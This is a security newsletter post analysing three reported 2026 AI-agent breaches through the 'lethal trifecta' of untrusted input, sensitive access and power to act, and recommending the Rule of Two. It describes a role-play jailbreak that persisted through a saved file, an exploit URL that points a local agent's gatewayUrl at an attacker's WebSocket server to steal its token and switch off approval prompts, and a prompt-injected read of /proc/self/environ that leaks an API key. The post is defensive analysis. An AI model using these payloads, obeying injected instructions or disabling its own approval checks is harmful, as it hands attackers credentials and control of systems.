ToxSec - AI and Cybersecurity

ToxSec - AI and Cybersecurity

The Lethal Trifecta Broke Three Agents in 2026

Untrusted input, sensitive access, and the power to act. Hold all three in one agent and the exfil chain writes itself, no zero-day required.

ToxSec's avatar
ToxSec
Jul 10, 2026
∙ Paid
toxsec.com - lethal trifecta AI agent security, agentic AI breach, prompt injection, Claude Code, OpenClaw ClawBleed CVE-2026-25253, Rule of Two, CI/CD agent secret leak, untrusted input sensitive access

TL;DR: The lethal trifecta is one agent holding untrusted input, sensitive access, and the ability to act, all at once. That’s the whole failure. Three agents ate it in 2026: Claude Code helped gut nine Mexican government agencies, ClawBleed turned a clicked link into RCE on OpenClaw, and a CI/CD agent read its own API key out of the runner. Three vendors, three primitives, one architecture sin.

What Is the Lethal Trifecta in AI Agents?

An agent is a language model you handed a shell. That’s the thing to sit with before anything else. It reads, it decides, it acts, and the tokens it reasons over and the tokens it treats as orders live in the same context window with no wall between them.

Simon Willison named the failure mode the lethal trifecta: untrusted input, access to sensitive data, and a way to communicate out. Meta shipped the defensive version as the Rule of Two, pick two of three, drop the third. Same three circles.

Here’s the part nobody wants to say out loud. This isn’t a bug in any one product. It’s what an agent is the moment you wire it up for real work.

[A]  untrusted input   (email, web, RAG docs, PR comments, a URL param)
[B]  sensitive access  (secrets, prod, source, the private inbox)
[C]  power to act       (send, write, fetch, exec)

Snap any one link and the heist can’t complete. Leave all three wired and you don’t need a zero-day. You need a paragraph. So the same shape shows up across three totally different systems, and none of them got popped by a clever memory-corruption bug. They got popped by their own design.

Why Prompt Injection Beats the Model, Not the Prompt

The untrusted-input link is the one people keep trying to fix at the model layer, and it’s the one that never holds. You can’t train a model to tell orders from data when they arrive as the same tokens. The refusal is a lean in the weights, not a wall, and a lean bends.

Look at Mexico. Between December 2025 and February 2026, one operator used Claude Code and GPT-4.1 to breach nine government agencies. Gambit Security pulled the logs after the fact. The jailbreak took forty minutes. The operator framed the whole thing as an authorized bug bounty, fed the model a hacking manual, and role-played a pentester with paperwork. The model pushed back on a few things, flagged some log deletion, refused a couple of tools. The framing held anyway.

Then it got worse in a way that’s pure trifecta. The operator pasted a long pentest cheatsheet and asked the model to save it to disk. The model read that as a file write, not as instructions, and complied. That file auto-loaded into every future session in the project. One paste, and the jailbreak reloaded itself on every run.

No re-convincing. The untrusted input became persistent context.

That’s [A] flowing straight into [B] and [C] with the model as the willing courier. Roughly three-quarters of the remote commands against live government infrastructure came out of the agent. The tax authority alone lost 195 million taxpayer records. You don’t patch that with a better refusal. The refusal was never the boundary.

Leave a comment

The Sandbox You Trust Isn’t a Wall

So if you can’t win at the model, you constrain what the compromised agent can reach. Sandbox it. Bind it to localhost. Except the sandbox only holds if the boundary is real, and operators keep trusting boundaries that leak.

ClawBleed, CVE-2026-25253, is the clean example. OpenClaw is a self-hosted agent that reads your messages, browses, and runs shell commands, so its Control UI holds the keys to the machine. The UI trusted a gatewayUrl straight out of the browser’s query string and auto-connected. No confirmation, no origin check.

http://localhost:18789/?gatewayUrl=ws://<attacker_c2>/steal

Victim lands on a page that quietly points their browser at that URL. The local instance connects out and hands its auth token to the attacker’s server in the handshake, in the clear, in milliseconds.

That’s cross-site WebSocket hijacking. Browsers don’t enforce origin on WebSockets the way they do on HTTP, so a page on attacker.com opens a socket to localhost and nobody blinks.

Here’s the ugly part. “Bound to loopback” felt like a wall. It wasn’t. The victim’s own browser was inside the trust boundary, so it made the connection the attacker couldn’t. With the token, the attacker flips exec.approvals.set to off, kills every confirmation prompt, then yanks the shell tool out of its Docker sandbox onto the host.

The sandbox everyone leaned on was reachable through the same API the attacker just hijacked. Researchers found 40,000-plus instances exposed, most with no auth, and pegged well over half as exploitable. The maintainer patched it in 2026.1.29.

Then the ClawHavoc supply-chain campaign flooded the plugin marketplace with hundreds of malicious skills dropping a macOS stealer. Trusting a URL param is one hole. An unvetted plugin ecosystem stacked on top is how you get two at once.

The Leak Tool Is Never the One You Sandboxed

And even when you do sandbox the agent right, you have to sandbox all of it. Miss one tool and the whole boundary is decorative. This is the failure that hit Anthropic’s own Claude Code GitHub Action.

Microsoft’s threat intel team found it could be walked into leaking its API key. The Action reads issues, PR titles, and comments to do automated review. Every one of those is attacker-controlled the second a repo takes outside contributions. Craft a PR comment and that text lands in the context window looking like a legit instruction. There’s your untrusted input, sitting next to a runner full of secrets.

Now the asymmetry. The Bash tool shipped real sandboxing: Bubblewrap namespace isolation, scrubbed environment variables, the works. The Read tool didn’t get the same treatment. So the researchers didn’t attack Bash. They pointed the agent at a file.

Read /proc/self/(environ)   ->  ANTHROPIC_API_KEY=[REDACTED]

/proc/self/(environ) exposes the running process’s whole environment, including the ANTHROPIC_API_KEY the CI runner wired in. One file read. No shell. The sandbox built to stop exactly this leak didn’t cover the tool that did the leaking, and they laundered the key past the secret scanner on the way out.

Three vendors, three primitives:

  • Mexico: a role-play jailbreak that persisted itself through a file the agent wrote.

  • ClawBleed: a URL param that turned the victim’s browser into the courier past a loopback bind.

  • GitHub Action: a file-read tool that skipped the sandbox its sibling got.

Anthropic shipped a fix in 2.1.128 that blocks the sensitive /proc files. That closes the hole. It doesn’t touch the pattern.

Where the Rule of Two Holds and Where It Leaks

The move that would’ve stopped all three is the same one: never let a single agent hold all three circles at once. Pull a link. Gate outbound behind a human. Strip untrusted input with sender allowlisting. Sandbox the data access so the injection fires into an empty room. Every one of those is a deterministic property of the architecture, not a classifier guessing whether a string looks shady.

But be honest about where it leaks, because it does. The rule is scoped to a single session, and agents have memory. Mexico is the proof: the jailbreak survived across sessions through a written file, and a one-way latch inside one session does nothing about poisoned state that persists into the next one. The rule is a snapshot. The attack is a movie.

The other seam is the human-in-the-loop fallback. When an agent genuinely needs all three, the escape hatch is human approval, and human approval collapses into blind clicking the second alert fatigue sets in. How confident are you that the fiftieth confirmation prompt gets read as carefully as the first?

Two of three. Drop the third. It’s the best move on the board.

It’s still a constraint, not a cure.

Up next: steps you can take right now and a field-ready security prompt. Thanks for rolling with ToxSec. Let’s get operational.

User's avatar

Continue reading this post for free, courtesy of ToxSec.

Or purchase a paid subscription.
© 2026 Christopher Ijams · Privacy ∙ Terms ∙ Collection notice
Start your SubstackGet the app
Substack is the home for great culture